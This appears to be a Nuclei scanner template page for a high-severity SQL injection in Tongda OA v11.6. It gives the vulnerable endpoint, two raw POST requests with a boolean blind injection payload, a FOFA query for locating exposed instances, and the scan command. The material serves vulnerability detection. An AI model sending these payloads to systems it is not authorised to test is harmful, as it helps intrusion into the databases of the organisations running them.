Tongda OA v11.6 Insert Parameter - SQL Injection

ID: tongda-insert-sqli

Severity: high

Author: SleepingBag945

Tags: tongda,sqli,intrusive

Description

Tongda OA v11.6 insert parameters contain SQL injection vulnerabilities, through which attackers can obtain sensitive database information

YAML Source

id: tongda-insert-sqli

info:
  name: Tongda OA v11.6 Insert Parameter - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    Tongda OA v11.6 insert parameters contain SQL injection vulnerabilities, through which attackers can obtain sensitive database information
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tongda2000
    product: office_anywhere
    fofa-query: app="TDXK-通达OA"
  tags: tongda,sqli,intrusive

http:
  - raw:
      - |
        POST /general/document/index.php/recv/register/insert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
      - |
        POST /general/document/index.php/recv/register/insert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))>128,1,710)))# =1&_SERVER=

    matchers-condition: and
    matchers:
      - type: word
        part: header_1
        words:
          - "PHPSESSID="
          - "register_for/?rid="
        condition: and

      - type: word
        part: header_2
        words:
          - "register_for/?rid="
        negative: true
# digest: 4a0a0047304502206795249509552b89eaba33de7b1ca5e4961f63431dc44254b28fb63949c7d0e7022100c7fbc3f4edd38958d024d024fc22ecd65c82b9aedefd3e3e3544d570674a0bee:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/tongda/tongda-insert-sqli.yaml"

View on Github